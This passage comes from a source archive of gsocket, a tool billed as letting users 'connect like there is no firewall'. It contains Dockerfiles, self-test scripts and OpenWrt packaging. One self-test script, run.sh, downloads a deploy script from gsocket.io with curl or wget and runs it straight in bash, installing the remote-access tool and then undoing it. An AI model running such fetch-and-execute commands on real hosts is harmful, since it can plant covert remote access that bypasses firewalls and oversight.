rm -rf rm -rf /tmp/openssl-${OPENSSL_VER} /root/usr/bin/openssl /root/usr/bin/c_rehash && \
echo done
gsocket-1.4.33/packaging/gsnc-deploy-bin/docker/x86_64-alpine/ 0000775 0000000 0000000 00000000000 14072625040 0023632 5 ustar 00root root 0000000 0000000 gsocket-1.4.33/packaging/gsnc-deploy-bin/docker/x86_64-alpine/Dockerfile 0000664 0000000 0000000 00000001070 14072625040 0025622 0 ustar 00root root 0000000 0000000 FROM alpine
ENV OPENSSL_VER=1.1.1k
ENV OPENSSL_ARCH=linux-generic64
WORKDIR /root/
RUN apk update \
&& apk add --no-cache bash musl-dev linux-headers gcc make automake openssl-dev curl && \
rm -rf /var/cache/apk/* && \
curl https://www.openssl.org/source/openssl-${OPENSSL_VER}.tar.gz \
| tar -xzC /tmp/ && \
cd /tmp/openssl-${OPENSSL_VER} && \
./Configure --prefix=/root/usr no-tests no-dso no-threads no-shared ${OPENSSL_ARCH} && \
make install_sw && \
rm -rf rm -rf /tmp/openssl-${OPENSSL_VER} /root/usr/bin/openssl /root/usr/bin/c_rehash && \
echo done
gsocket-1.4.33/packaging/gsnc-deploy-bin/docker/x86_64-arch/ 0000775 0000000 0000000 00000000000 14072625040 0023277 5 ustar 00root root 0000000 0000000 gsocket-1.4.33/packaging/gsnc-deploy-bin/docker/x86_64-arch/Dockerfile 0000664 0000000 0000000 00000000660 14072625040 0025273 0 ustar 00root root 0000000 0000000 FROM archlinux:base-devel
ENV OPENSSL_VER=1.1.1k
ENV OPENSSL_ARCH=linux-generic64
RUN curl https://www.openssl.org/source/openssl-${OPENSSL_VER}.tar.gz \
| tar -xzC /tmp/ && \
cd /tmp/openssl-${OPENSSL_VER} && \
./Configure --prefix=/root/usr no-tests no-dso no-threads no-shared ${OPENSSL_ARCH} && \
make install_sw && \
rm -rf rm -rf /tmp/openssl-${OPENSSL_VER} /root/usr/bin/openssl /root/usr/bin/c_rehash && \
echo done
gsocket-1.4.33/packaging/gsnc-deploy-bin/docker/x86_64-centos/ 0000775 0000000 0000000 00000000000 14072625040 0023655 5 ustar 00root root 0000000 0000000 gsocket-1.4.33/packaging/gsnc-deploy-bin/docker/x86_64-centos/Dockerfile 0000664 0000000 0000000 00000001100 14072625040 0025637 0 ustar 00root root 0000000 0000000 FROM centos
ENV OPENSSL_VER=1.1.1k
ENV OPENSSL_ARCH=linux-generic64
WORKDIR /root/
RUN yum -y update && \
yum -y install automake gcc make curl && \
yum -y --enablerepo=powertools install glibc-static && \
yum clean all && \
curl https://www.openssl.org/source/openssl-${OPENSSL_VER}.tar.gz \
| tar -xzC /tmp/ && \
cd /tmp/openssl-${OPENSSL_VER} && \
./Configure --prefix=/root/usr no-tests no-dso no-threads no-shared ${OPENSSL_ARCH} && \
make install_sw && \
rm -rf rm -rf /tmp/openssl-${OPENSSL_VER} /root/usr/bin/openssl /root/usr/bin/c_rehash && \
echo done
gsocket-1.4.33/packaging/gsnc-deploy-bin/docker/x86_64-debian/ 0000775 0000000 0000000 00000000000 14072625040 0023604 5 ustar 00root root 0000000 0000000 gsocket-1.4.33/packaging/gsnc-deploy-bin/docker/x86_64-debian/Dockerfile 0000664 0000000 0000000 00000001105 14072625040 0025573 0 ustar 00root root 0000000 0000000 FROM debian
ENV OPENSSL_VER=1.1.1k
ENV OPENSSL_ARCH=linux-generic64
RUN apt update -y && \
apt install -y --no-install-recommends libc6-dev automake gcc make curl ca-certificates && \
apt clean && \
rm -rf /var/lib/apt/lists/ && \
curl https://www.openssl.org/source/openssl-${OPENSSL_VER}.tar.gz \
| tar -xzC /tmp/ && \
cd /tmp/openssl-${OPENSSL_VER} && \
./Configure --prefix=/root/usr no-tests no-dso no-threads no-shared ${OPENSSL_ARCH} && \
make install_sw && \
rm -rf rm -rf /tmp/openssl-${OPENSSL_VER} /root/usr/bin/openssl /root/usr/bin/c_rehash && \
echo done
gsocket-1.4.33/packaging/gsnc-deploy-bin/selftest/ 0000775 0000000 0000000 00000000000 14072625040 0022010 5 ustar 00root root 0000000 0000000 gsocket-1.4.33/packaging/gsnc-deploy-bin/selftest/Dockerfile.alpine 0000664 0000000 0000000 00000000205 14072625040 0025246 0 ustar 00root root 0000000 0000000 FROM alpine
WORKDIR /root/
RUN apk update \
&& apk add --no-cache bash wget tar gzip && \
rm -rf /var/cache/apk/* && \
echo done
gsocket-1.4.33/packaging/gsnc-deploy-bin/selftest/Dockerfile.arch 0000664 0000000 0000000 00000000033 14072625040 0024712 0 ustar 00root root 0000000 0000000 FROM archlinux:base-devel
gsocket-1.4.33/packaging/gsnc-deploy-bin/selftest/Dockerfile.centos 0000664 0000000 0000000 00000000151 14072625040 0025271 0 ustar 00root root 0000000 0000000 FROM centos
RUN yum -y update && \
yum -y install wget gzip tar && \
yum -y clean all && \
echo done
gsocket-1.4.33/packaging/gsnc-deploy-bin/selftest/Dockerfile.debian 0000664 0000000 0000000 00000000260 14072625040 0025221 0 ustar 00root root 0000000 0000000 FROM debian
RUN apt update -y && \
apt install -y --no-install-recommends curl wget ca-certificates tar gzip && \
apt clean && \
rm -rf /var/lib/apt/lists/ && \
echo done
gsocket-1.4.33/packaging/gsnc-deploy-bin/selftest/Dockerfile.rhel8 0000664 0000000 0000000 00000000023 14072625040 0025016 0 ustar 00root root 0000000 0000000 FROM roboxes/rhel8
gsocket-1.4.33/packaging/gsnc-deploy-bin/selftest/Dockerfile.suse-tumbleweed 0000664 0000000 0000000 00000000144 14072625040 0027112 0 ustar 00root root 0000000 0000000 FROM opensuse/tumbleweed
RUN zypper install -y wget tar gzip && \
zypper clean -a && \
echo done
gsocket-1.4.33/packaging/gsnc-deploy-bin/selftest/run.sh 0000775 0000000 0000000 00000001013 14072625040 0023146 0 ustar 00root root 0000000 0000000 #! /bin/sh
BASEDIR="$(cd "$(dirname "${0}")" || exit; pwd)"
# IF this is not a live test then use local binaries (GS_DEBUG=1)
if test -z "$GS_LIVE"; then
export GS_DEBUG=1
${BASEDIR}/deploy.sh && \
GS_UNDO=1 ${BASEDIR}/deploy.sh
else
echo "Running LIVE test..."
{ command -v curl >/dev/null && bash -c "$(curl -fsSL gsocket.io/x)" || bash -c "$(wget -qO- gsocket.io/x)"; } && \
export GS_UNDO=1 && \
{ command -v curl >/dev/null && bash -c "$(curl -fsSL gsocket.io/x)" || bash -c "$(wget -qO- gsocket.io/x)"; }
fi
gsocket-1.4.33/packaging/gsnc-deploy-bin/selftest/run_all.sh 0000775 0000000 0000000 00000002070 14072625040 0024002 0 ustar 00root root 0000000 0000000 #! /bin/bash
# Test deploy.sh in various docker images.
# To fetch binaries from live server us:
# GS_LIVE=1 ./run_all.sh
BASEDIR="$(cd "$(dirname "${0}")/../../../" || exit; pwd)"
GSPKGROOT="${BASEDIR}/packaging/gsnc-deploy-bin/"
STDIR="${GSPKGROOT}/selftest"
targets="debian centos arch alpine rhel8 suse-tumbleweed"
[[ -n $* ]] && targets="$*"
errexit()
{
echo >&2 "ERROR: $*"
exit 255
}
docker_run()
{
[[ -z $1 ]] && { echo >&2 "Parameters missing."; return; }
[[ -f "${STDIR}/Dockerfile.${1}" ]] || { echo >&2 "Not found: Dockerfile.${1}"; return; }
echo "Testing $1..."
local dockername
dockername="gs-selftest-${1}"
docker run --rm -it "${dockername}" true || docker build -t "${dockername}" -f "${STDIR}/Dockerfile.${1}" . || { exit 255; }
docker run --rm -v "${GSPKGROOT}:/gsocket-pkg" -e GS_LIVE="$GS_LIVE" -it "${dockername}" /gsocket-pkg/selftest/run.sh || { errexit "failed"; }
}
cp "${BASEDIR}/deploy/deploy.sh" "${GSPKGROOT}/selftest/deploy.sh"
for x in $targets; do
docker_run $x
done
rm -f "${GSPKGROOT}/selftest/deploy.sh"
echo "SUCCESS."
gsocket-1.4.33/packaging/openwrt/ 0000775 0000000 0000000 00000000000 14072625040 0016663 5 ustar 00root root 0000000 0000000 gsocket-1.4.33/packaging/openwrt/gsocket/ 0000775 0000000 0000000 00000000000 14072625040 0020322 5 ustar 00root root 0000000 0000000 gsocket-1.4.33/packaging/openwrt/gsocket/Makefile 0000664 0000000 0000000 00000004044 14072625040 0021764 0 ustar 00root root 0000000 0000000 # https://gsocket.io
include $(TOPDIR)/rules.mk
PKG_NAME:=gsocket
PKG_VERSION:=1.4.33
PKG_RELEASE:=1
#PKG_LICENSE:=BSD-2-Clause
#PKG_LICENSE_FILES:=LICENSE
PKG_BUILD_DIR:=$(BUILD_DIR)/$(PKG_NAME)-$(PKG_VERSION)
# PKG_SOURCE_PROTO:=git
# PKG_SOURCE_URL:=https://github.com/hackerschoice/gsocket.git
# PKG_SOURCE_VERSION:=98a85e270c8ee5757134f00636a5358432cd3d83
# Direct file download
PKG_SOURCE_URL:=https://github.com/hackerschoice/gsocket/releases/download/v$(PKG_VERSION)/
PKG_HASH:=5bbc850a274b933a4e8b0ac7d5bc8b0527c3eddbaee7f8a9389c284f27a6fe14
# For testing copy to openwrt/dl
PKG_SOURCE:=$(PKG_NAME)-$(PKG_VERSION).tar.gz
# dont need 'make install'
#PKG_INSTALL:=1
PKG_MAINTAINER:=skyper
include $(INCLUDE_DIR)/package.mk
define Package/gsocket
SECTION:=net
CATEGORY:=Network
DEPENDS:=+libopenssl
TITLE:=Connect like there is no firewall
URL:=https://gsocket.io
endef
define Package/gsocket/description
Connect like there is no firewall
endef
define Build/Configure
$(call Build/Configure/Default,--with-linux-headers=$(LINUX_DIR) --libdir=$(STAGING_DIR)/usr/lib --includedir=$(STAGING_DIR)/usr/include)
endef
# $(call Build/Configure/Default,--with-linux-headers=$(LINUX_DIR))
define Build/Compile
$(MAKE) -C $(PKG_BUILD_DIR) \
LD="$(TARGET_CXX)" \
all
endef
define Package/gsocket/install
$(INSTALL_DIR) $(1)/bin
$(INSTALL_DIR) $(1)/share/gsocket
$(INSTALL_DIR) $(1)/lib
$(INSTALL_DIR) $(1)/etc
$(INSTALL_BIN) $(PKG_BUILD_DIR)/tools/gs-sftp $(1)/bin/
$(INSTALL_BIN) $(PKG_BUILD_DIR)/tools/gs-mount $(1)/bin/
$(INSTALL_BIN) $(PKG_BUILD_DIR)/tools/blitz $(1)/bin/
$(INSTALL_BIN) $(PKG_BUILD_DIR)/tools/gsocket $(1)/bin/
$(INSTALL_BIN) $(PKG_BUILD_DIR)/tools/gs-netcat $(1)/bin/
$(INSTALL_BIN) $(PKG_BUILD_DIR)/tools/gs_funcs $(1)/share/gsocket/
$(INSTALL_BIN) $(PKG_BUILD_DIR)/tools/gsocket_uchroot_dso.so.0 $(1)/lib/
$(INSTALL_BIN) $(PKG_BUILD_DIR)/tools/gsocket_dso.so.0 $(1)/lib/
$(INSTALL_CONF) $(PKG_BUILD_DIR)/tools/gsocket.conf $(1)/etc/
endef
$(eval $(call BuildPackage,gsocket))
gsocket-1.4.33/tests/ 0000775 0000000 0000000 00000000000 14072625040 0014403 5 ustar 00root root 0000000 0000000 gsocket-1.4.33/tests/Makefile 0000664 0000000 0000000 00000000242 14072625040 0016041 0 ustar 00root root 0000000 0000000
clean:
rm -rf id_sec.txt gs_nc test*.dat client*.txt server*.txt client*.dat server*.dat ft_test_dst ft_test_src
>server.logclient.log